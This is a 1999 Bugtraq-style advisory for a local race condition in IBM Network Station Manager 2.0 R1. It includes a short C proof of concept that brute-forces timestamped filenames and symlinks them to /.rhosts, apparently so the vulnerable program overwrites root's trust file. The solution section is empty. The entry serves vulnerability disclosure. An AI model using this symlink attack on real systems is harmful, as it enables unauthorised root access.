IBM Network Station Manager Race Condition Vulnerability

BID:900

Info

IBM Network Station Manager Race Condition Vulnerability

Bugtraq ID: 900
Class: Race Condition Error
CVE:
Remote: No
Local: Yes
Published: Dec 27 1999 12:00AM
Updated: Dec 27 1999 12:00AM
Credit: First posted to Bugtraq by Brock Tellier <[email protected]> on December 27, 1999.
Vulnerable: IBM Network Station Manager 2.0 R1
Not Vulnerable:

Exploit / POC

IBM Network Station Manager Race Condition Vulnerability

This program will create 30 symbolic links with brute-forced filenames:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/time.h>

void main() {

/* Change these paths */
char dest[20] = "/.rhosts";
char source[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
char sourcesym[50] = "/usr/netstation/nsm/users/xnec/xnec.nsu";
long sec;
int i;
sec = time(0);
for (i = 0; i < 30; i++) {
sprintf(sourcesym, "%s%d", source, (sec + i));
symlink(dest,sourcesym);
}

}

Solution / Fix

IBM Network Station Manager Race Condition Vulnerability

Solution:
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IBM Network Station Manager Race Condition Vulnerability

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